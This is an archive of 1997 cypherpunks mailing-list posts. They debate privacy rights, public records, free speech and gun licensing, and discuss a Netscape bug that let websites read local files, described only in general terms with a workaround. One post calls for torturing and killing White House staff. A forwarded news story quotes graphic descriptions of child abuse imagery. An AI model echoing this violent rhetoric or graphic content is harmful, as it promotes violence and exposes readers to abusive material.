suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

Some coherent input on the possible impact of this would be appreciated.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 14 Jun 1997 05:11:28 +0800
To: cypherpunks@toad.com
Subject: crypto page
Message-ID: <v03020986afc760aac3c1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 13 Jun 1997 13:15:56 -0700
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject:  crypto page

I am starting to create a crypto resource  page (soon to be part of mac crypto)
it is at http://www.vmeng.com/vinnie/crypto.html

Its a first crack...
if you have any (even obvious) additions I would appreciate them.


Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 08:12:11 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Ray Just doesn't get it.
Message-ID: <Pine.GUL.3.95.970613165059.3495A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian <sunder@brainlink.com> wrote:

> Should detailed building plans be made available of all buildings so that
> theives can look at them and break into banks more easily? Perhaps there
> are reasons some of these things are available to the public. Perhaps
> there are reasons why not all should be.

Yeah. We'd better criminalize publishing computer security exploits, too. 
Some information is just too damn dangerous. 

If there is no public record of stuff like real estate, how are we supposed
to know who owns what? Whoever's got the biggest gun?

- -rich
 http://www.stanford.edu/~llurch/

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ialQMD8VGLSEXQb3wEuLsLHrHqNBJFeYXFD7zhHc7yKLFYhwGk+l5A==
=lvKR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 08:34:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: There's no general right to privacy -- get over it, from Netly
Message-ID: <Pine.GUL.3.95.970613165846.3560A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

William H. Geiger III <whgiii@amaranth.com> wrote:

> Well this is rather a poor example. The requirment of a census was written
> into the costitution and with good reason. Many of the government actions
> are based on demographics congressional districting is a prime example.
> 
> There is a fight going on in cogress right now as the current
> administration wants to be able to gestimate the census rather than doing
> an actuall head count so it can manipulate the figures any way it wants
> (ie change the figures in key congressional districts so they can re-draw
> them to favor their supporters).

Not that I feel strongly either way, but the other way to look at this is
that the current Congress likes its cozy little districts and likes
restricting the census to people with permanent addresses, which tends to
bias the figures in favor of suburbia.

I certainly agree with the fundamental points that censuses and districting
have always been important, and hence political[ly corrupted]. Anyone here
descended from 3/5ths people? 

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
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iQBVAwUBM6HgHJNcNyVVy0jxAQEmsgH+IWGzDmFvmlCIKSxw26xaP4+tBRHhdRDu
BT572zIvqjQfh/4B31qOzOjjWh6cFCEREXE/9bzHaRmyOYA3YfP+EQ==
=8mJR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Sat, 14 Jun 1997 08:36:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it,
Message-ID: <Pine.GUL.3.95.970613170751.3575A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian wrote:
>On Thu, 12 Jun 1997, Declan McCullagh wrote:
>
>> http://pathfinder.com/netly/editorial/0,1012,1050,00.html

Pretty good article.

>> I have a confession to make: Unlike many of my
>> civil libertarian colleagues, I believe you have no
>> general right to privacy online. Sure, you have the
>> right to protect your personal data, but you shouldn't
>> be able to stop someone else from passing along that
>> information if you let it leave your computer. That's
>> your responsibility.
>
>Booooooooo! Hisssssssssss! Putting your bread and butter before your
>morals, eh? Maybe if someone would go through all your records and post
>them all over the net, you'd feel differently!

No need to go through them all. Just one record is guaranteed to set him and
his friends off.

>Declan, this truly sucks. :( I'm very disappointed in you. You are truly
>scum if you believe this.

Ray, he was talking about *rights*, not *morals*. I don't believe anyone has
an absolute *right* to privacy, but that doesn't mean I think it would be
anything short of morally abhorrent to knowingly post, say, Declan's social
security number. He has no legal or moral *right* to privacy, but it would
be morally *wrong*, and I would truly be scum, if I knowingly posted it. 

Rights are negative; morals are positive. The burden of proof is entirely
different. Journalists have a First Amendment right to be free from
government-imposed restrictions on speech, including non-criminal invasions
of privacy (some invasions of privacy can be criminal if the target is not a
public figure -- but such prosecutions are extremely rare), but some
journalists are truly scum. Others, like Declan in this case, get bashed
over misinterpretations and ideological flamers.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6Hjh5NcNyVVy0jxAQG+sAH/f0ZbXItOdKI/jOfcY9mDxU/0hBoHQVdM
XUW9xIHgKIgVzYzUrXFdmRL81Ku9IR77aJ6MEYrN5HjMNCZXusGdLg==
=u4We
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 14 Jun 1997 06:33:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
Message-ID: <97Jun13.180309edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, William H. Geiger III wrote:
> 
> > Any state issued permit is public record. This includes your drivers
> > license and your auto registration.
> 
> Should it include your address and phone number?
> 
> > It is imperative that in a democracy that the public know who and what the
> > state is giving permits to (there whole other issue of wether the state
> > should be issuing permits at all but that should be left to another
> > thread).

One important distinction:

If the state issues me a permit, they probably have a right to the
information pertaining to the permit, e.g. they do need the make, model,
year, and similar information about the car to issue a title or
registration.  If they are issuing state ID, they need to know that I am
me in order to issue it.  They don't need to place my mother's maiden name
into the record although I think it appears on my birth certificate, and
would cause problems since this is used as an informal password.  My
driver's license is a permit to drive, not a permit to be me.  You can
make a case for the database containing my age, but date of birth?  Much
of what appears is not necessary for the purpose stated. 

So are you making the case for having the state ask every detail about
your life and being able to place it in the licensing database, or only
answers to those questions relevant to issuing the license?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 14 Jun 1997 09:22:27 +0800
To: nobody@huge.cajones.com
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <199706140108.SAA00039@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones Remailer writes:
> 
> It'd be nice to have more specifics about the whole situation, but
> regardless - any preliminary threat assessments?  Exactly how widely
> exploited do you think this has been?
> 
> Tim's post (although refuted by Marc) raises some serious issues since I
> suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

Of course that's IDEA-encrypted (or maybe something better in PGP 5) so
the attacker would need a lot of compute power to brute-force the key.
I wouldn't worry too much about someone getting my secring.pgp.  However
I would worry about them getting my mail folder, my .rhosts, my
/etc/password, etc.

> Some coherent input on the possible impact of this would be appreciated.

Yes, a description of the exploit would be very helpful.  It should
be fairly easy to hack a proxy to search and destroy the Java/Javascript
CaptiveX attacklet as it's being received.


-- 
                   Eric Murray  ericm@lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 09:48:02 +0800
To: cypherpunks@toad.com
Subject: The World's Smartest Highway (opened earlier this week)
Message-ID: <199706140126.SAA17680@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



The worlds smartest highway opens tomorrow.
   
   So far, Highway 407 runs 36 km between Brampton and Markham, Ontario.
   Eventually it will cover an additional 33 km, and cost a total of
   $929.8 million over $13,000 per meter.
   
   What does that buy for Ontario commuters?
   
   The highway has a series of UHF radio antennae that pick up signals
   from small transponders installed in commuters vehicles. The highway
   measures the distance a vehicle travels, and deducts a per-kilometer
   fee from the owners credit card or prepaid account. The fee is 10
   cents per kilometer in rush hour, 7 cents in off-peak hours, and 4
   cents at night.
   
   Thats not a first a few U.S. toll highways have similar systems. But
   the 407 is the first highway able to send bills to drivers without
   transponders, without stopping them at toll booths. Overhead gantries
   along the highway take video images of license plates as vehicles
   travel the highway. The bill comes in the mail with a $1 premium.
   
   Ontario expects to pull in $40 million a year from Highway 407 tolls
   in theory. The license-plate billing system has never been tested
   under heavy traffic. The highway will be watching but not charging for
   the next 30 days or so, while Hughes Aircraft and Bell Canada, the
   companies who designed the system, hammer out the kinks.
   
   Related links: Canadian Highways International Corporation
   
                                    -30-
   
   Copyright ) 1997 Convergent Publishing Ltd.
   All rights reserved.
   
                                  [INLINE]
   
Canadian Highways International Corporation http://www.chichwys.com

http://www.theconvergence.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:25:56 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
Message-ID: <Pine.LNX.3.91.970613182413.612A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> He still misunderstands my position. I'm saying you have no property right
> in information others collect about you.

There is no such thing as intellectual property rights period. All 
patents and copyrights are violations of free speech, technology is the 
only way to protect so called "intellectual property"... If you don`t 
want people to have information don`t release it.

> Great. You want Congress to pass a law that says "Netscape shall release
> no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

No, I wouldn`t mind one that made bugs in Micro$oft stuff criminal ;-)... 
BTW, I`m pretty sure it was pi=3.2 on that bill.

> > What I leave on my computer is my private business, and NOBODY HAS THE
> > RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.

> I'm not saying that people have a "right to surf (?) it without your 
> permission." That's a violation of your property rights, a trespass. 
> But if you connect to my web site, I should be allowed to record 
> whatever info leaks from your computer. Don't like it? Cut the flow or 
> don't come.  

Declan put this point very well here, don`t confuse listening to other 
peoples speech with breaking into their house and reading their private 
diary. If you don`t want the information free keep it confidential, 
simple as that.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 09:56:32 +0800
To: carlier@iguana.be
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <v0310280bafc7a348b38b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:29 PM -0700 6/13/97, Kris Carlier wrote:
>Tim,
>
>> Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
>> clogged by people dumping Navigator and trying to download Explorer.
>
>Are you sure they are trying to get Explorer ? it's *very* difficult to
>buy a PC nowadays that comes without it. My guess is that people are still
>trying to get the vital bugfixes for NT, IE, Win95,...

It was a joke.

As you are a non-native English speaker (Belarus?), my subtlety may not
have been as obvious as it would be to any reasonably-bright American or
Brit.

In any case, I use a Macintosh and Explorer 3.0, and no browser came with
my Mac when I bought it in '94. Many machines of various flavors were sold
prior to Explorer or Navigator being bundled.

Me, I have no immediate plans to switch to Explorer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 09:52:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <v0310280cafc7a5382818@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:41 PM -0700 6/13/97, Huge Cajones Remailer wrote:
>It'd be nice to have more specifics about the whole situation, but
>regardless - any preliminary threat assessments?  Exactly how widely
>exploited do you think this has been?
>
>Tim's post (although refuted by Marc) raises some serious issues since I
                        ^^^^^^^^^^^^^^^^^^^^^^^^
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp


Just what the fuck are you talking about? If you did not realize it was
satire, and are not one of the non-English subscribers....there ought to be
a minimum IQ to be allowed to subscribe.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:24:16 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Flag Burning...
In-Reply-To: <v03007870afc6975ea950@[207.94.249.152]>
Message-ID: <Pine.LNX.3.91.970613183319.612B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >When it comes down to flag burning, It really bothers me that we allow our
> >symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> >symbol of the freedom we have.  To allow someone to publicly burn a flag is
> >essentially displaying our freedom being burned.

This is an ill thought out and emotional response. A flag, just as any 
other object, it someones private property. If I choose to but 1000000 US 
flags and burn them on my property, or on property I have permission to 
use for this purpose, it is no business of the state or anyone else.
Realise first and foremost that all law is based on property.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Sat, 14 Jun 1997 10:00:27 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
Message-ID: <33A1F574.42D6AD6A@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
> 
> Still, it would be good to know if a Netscape snooper could snarf a
> key while it is being used by PGP to decrypt, that is, whether the
> hole allows snooping on dynamic ops or just on stored info.
> 
> Does anyone know if the the hole finders are discussing this on the
> Net, and if so, where? What are the folks at Netscape saying? Tom,
> Jeff?

We aren't talking about it much.  We've released some information to
the press and posted a release on our web site.

This attack can be used to grab any file from the user's hard drive,
provided you know the file name and path.  It exploits a bug in the
way forms are handled.  You can guard against this attack by turning
on the warning dialog for submitting a form over an insecure connection.

We have a fix which we are testing now, and we'll have it out early next
week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:50:18 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: Netscape Bug :)))
In-Reply-To: <3.0.2.32.19970613001349.006f4334@pop.mhv.net>
Message-ID: <Pine.LNX.3.91.970613183912.612C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>                  The bug was reported by Cabocomm, a
>                  software company located about 100 miles west
>                  of Copenhagen, Denmark. The bug makes it
>                  possible for Web-site operators to read anything
>                  stored on the hard drive of a PC logged on to
>                  the Web site.

Do you have information if by PC here they mean the abreviated IBM-PC form 
(ie. something running a Micro$oft OS) or the generic media meaning 
(ie. any micro)... Ie. is the linux version affected?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:04:02 +0800
To: cypherpunks@toad.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
Message-ID: <ece08D111w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> I suspect the scare about privacy has led to muddled thinking.
>
> Free speech is a right that strictly limits the government's ability to
> control what you say. We should have a similar right of privacy from the
> government.
>
> But I give up my free speech "rights" when I attend a college with a wacky
> speech code or go to work at a company with workplace speech policies. My
> choices in those situations are governed by my free speech preferences.
> Similarly, I give up my privacy "rights" when I go to unknown web sites,
> apply for a loan, or post to Usenet, etc. These also are preferences.

I agree with the above.

I also wish for (and work on) technology solutions to do things like post
to Usenet w/o giving up one's privacy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 10:32:03 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <v03102806afc72cece4f0@[207.167.93.63]>
Message-ID: <v0310280dafc7ac88e000@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
>Awwww, Caaa'monnn.
>
>You mean they can license handguns, but not reporters???

Indeed, it is strange. What part of "Congress shall make no law" do they
not understand?

(A better example is the ban on certain kinds of rifles, as these are
Federal bans. The various handgun licensing provisions are state and local.
Though let a state or local government try licensing _speech_ and watch how
quickly the Supremes would rule it unconstitutional.)

About five years ago I wrote a satirical essay arguing for "Licensing and
Regulation" of speech, noting the number of innocents killed by "assault
speech" and arguing that a $50 fee for each act of speech is completely
consistent with similar fees for exercise of the Second Amendment rights.

I'd repost it, but it's buried somewhere on one of my offline disks.

--Tim May


>I think reporters, particularly the lapdog Whitehouse kind, have killed
>more people in the last century than domestic handguns, don'tcha think?

Yes, many in the White House have already richly earned termination with
extreme prejudice. Several of them also should be tortured before being
dispatched.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:03:58 +0800
To: cypherpunks@toad.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <97Jun13.135323edt.32257@brickwall.ceddec.com>
Message-ID: <X3F08D116w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com writes:
> When I email, if it is something I don't want to see posted everywhere, I
> add a copyright notice of some sort - nonredistribution as a condition of
> use.

That's just silly and has no legal meaning.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:12:11 +0800
To: cypherpunks@toad.com
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <97Jun13.142726edt.32257@brickwall.ceddec.com>
Message-ID: <m6F08D118w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com writes:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
>
> > Get a clue. I did:
> >
> >         Of course there's an essential right to privacy from the
> >    government. (Beware government databases: Nazis used census data in
> >    Germany and Holland to track down and eliminate undesirables.)
>
> Today the Nazi's would simply pay Experian (was TRW) for their databases.
> I think the IRS already does.

Why do you need to bring up the Nazis when the U.S. Gubmint used its own Census
data to round up Americans of Japanese descent (who said so on their Census
forms) and to intern them in concentration camps.

> Private databases collect a lot of data that I am not asked about, or from
> government, or that I am required to turn over (e.g. Government requires a
> taxpayer ID number to open a bank account, so I can't shop for a bank that
> offers privacy as an option, but they will then turn around and give the
> information to the databasers).

Good news: no sane bank gives its client info to the databasers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:39:49 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous proxies & ITAR question
In-Reply-To: <199706132228.PAA07110@fat.doobie.com>
Message-ID: <Bsg08D119w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@huge.cajones.com (Huge Cajones Remailer) writes:
> I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't
> enabled reverse DNS lookup, so I decided to try running through an
> anonymous proxy server to scoop it and lo-and-behold, aside from being
> brutally slow, it worked like a charm.

One word of caution: MSIE 3.0 had many bad bugs that were fixed in 3.1.
Last time I looked, the 128-bit version was still 3.0.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 14 Jun 1997 11:36:00 +0800
To: cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <v03102806afc72cece4f0@[207.167.93.63]>
Message-ID: <19970613201551.40314@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 13, 1997 at 07:10:35PM -0700, Tim May wrote:
> At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
> >Awwww, Caaa'monnn.
> >
> >You mean they can license handguns, but not reporters???
> 
> Indeed, it is strange. What part of "Congress shall make no law" do they
> not understand?

The second amendment does not include that phrase.  The first 
amendment does.  Perhaps they understand it a great deal better than 
you:


                            Amendment I

Congress shall make no law respecting an establishment of religion, or
prohibiting the free exercise thereof; or abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble, and to petition the Government for a redress of grievances. 

                           Amendment II

A well regulated Militia, being necessary to the security of a free
State, the right of the people to keep and bear Arms, shall not be
infringed. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch+spamfilter@stanford.edu>
Date: Sat, 14 Jun 1997 11:28:59 +0800
Subject: Wired News' War Correspondent on kiddie porn
In-Reply-To: <5nggqs%24jjf@Networking.Stanford.EDU>
Message-ID: <glkheaoti3490atyaw40@quixote.stanford.edu>
MIME-Version: 1.0
Content-Type: text/plain



Full text:

 http://www.wired.com/news/culture/story/4437.html

   Hacker Vows 'Terror' for Child Pornographers
   by Steve Silberman

   2:32pm  13.Jun.97.PDT After 17 years in the hacker underground,
   Christian Valor - well known among old-school hackers and phone
   phreaks as "Se7en" - was convinced that most of what gets written in
   the papers about computers and hacking is sensationalistic jive. For
   years, Valor says, he sneered at reports of the incidence of child
   pornography on the Net as
   "exaggerated/over-hyped/fearmongered/bullshit."

   Now making his living as a lecturer on computer security, Se7en claims
   he combed the Net for child pornography for eight weeks last year
   without finding a single image.

   That changed a couple of weeks ago, he says, when a JPEG mailed by an
   anonymous prankster sent him on an odyssey through a different kind of
   underground: IRC chat rooms with names like #littlegirlsex, ftp
[...]
   On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of
   "genuine hacker terror" to those who upload and distribute such images
   on the Net. The debate over his methods has stirred up tough questions
   among his peers about civil liberties, property rights, and the ethics
   of vigilante justice.

[I was not aware that he'd sent it to DefCon first, with cypherpunks as a
secondary distribution. That explains the language barrier Lizard noticed.]

   Se7en claims to have already "taken down" a "major player" - an
   employee of Southwestern Bell who Se7en says was "posting ads all over
   the place." Se7en told Wired News that he covertly watched the man's
   activities for days, gathering evidence that he emailed to the
   president of Southwestern Bell. Pseudonymous remailers like
   hotmail.com and juno.com, Se7en insists, provide no security blanket
[...]
   A couple of days after submitting message headers and logs to the
   president and network administrators of Southwestern Bell, Se7en says,
   he got a letter saying the employee was "no longer on the payroll."

   The hacker search for acceptance

   Se7en's declaration of war received support on the original mailing
   list. "I am all for freedom of speech/expression," wrote one poster,
   "but there are some things that are just wrong.... I feel a certain
   moral obligation to the human race to do my part in cleaning up the
   evil."
[...]
   Pitching in to assist the Feds just isn't the hacker way. As one
   poster to the DefCon list put it, "The government can't enforce laws
   on the Internet. We all know that. We can enforce laws on the
   Internet. We all know that too."

   The DefCon list was not a unanimous chorus of praise for Se7en's plan
   to give the pornographers a taste of hacker terror, however. The most
   vocal dissenter has been Declan McCullagh, Washington correspondent
   for the Netly News. McCullagh is an outspoken champion of
   constitutional rights, and a former hacker himself.

[Wired forgot the (tm).]

   "Few people seem to realize that the long-standing federal child-porn
   law outlawed pictures of dancing girls wearing leotards," McCullagh
   wrote - alluding to the conviction of Stephen Knox, a graduate student
   sentenced to five years in prison for possession of three videotapes
   of young girls in bathing suits. The camera, the US attorney general
   pointed out, lingered on the girls' genitals, though they remained
   clothed. "The sexual implications of certain modes of dress, posture,
   or movement may readily put the genitals on exhibition in a lascivious
   manner, without revealing them in a nude display," the Feds argued -
   and won.

[Declan fails to recognize that everybody here already knows this, and
agrees that Knox was the victim of hysteria.]

   The menace of child porn is being exploited by "censor-happy"
   legislators to "rein in this unruly cyberspace," McCullagh says. The
   rush to revile child porn on the DefCon list, McCullagh told Wired
   News, reminded him of the "loyalty oaths" of the McCarthy era.

[With James Donald, on the other hand, no analogies are necessary.]

   But McCullagh is not alone. As the debate over Se7en's declaration
   spread to the cypherpunks mailing list and alt.cypherpunks -
   frequented by an older crowd than the DefCon list - others expressed
   similar reservations over Se7en's plan.

   "Basically, we're talking about a Dirty Harry attitude," one network
   technician/cypherpunk told Wired News. Though he senses "real feeling"
   behind Se7en's battle cry, he feels that the best way to deal with
   pornographers is to "turn the police loose on them."

[ROFL. I insisted on not being identified because I didn't want any conflict
with Declan, and here he has me AGREEING with him. Cool! And in context, a
good addition to the story.]

   It's not JPEGs of clothed ballerinas that raise his ire, Se7en says.
   It's "the 4-year-olds being raped, the 6-year-old forced to have oral
   sex with cum running down themselves." Such images, Se7en admits, are
   very rare - even in online spaces dedicated to trading sexual imagery
   of children.

   "I know what I'm doing is wrong. I'm trampling on the rights of these
   guys," he says. "But somewhere in the chain, someone is putting these
   images on paper before they get uploaded. Your freedom ends when you
   start hurting other people."

[I.e., we ain't talking about Knox or Angeli, folks.]

-rich
 http://www.stanford.edu/~llurch/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 14 Jun 1997 09:17:29 +0800
To: cypherpunks@toad.com
Subject: Re: Impact of Netscape kernel hole
Message-ID: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Huge Cajones wrote:

>Tim's post (although refuted by Marc) raises some serious issues since I
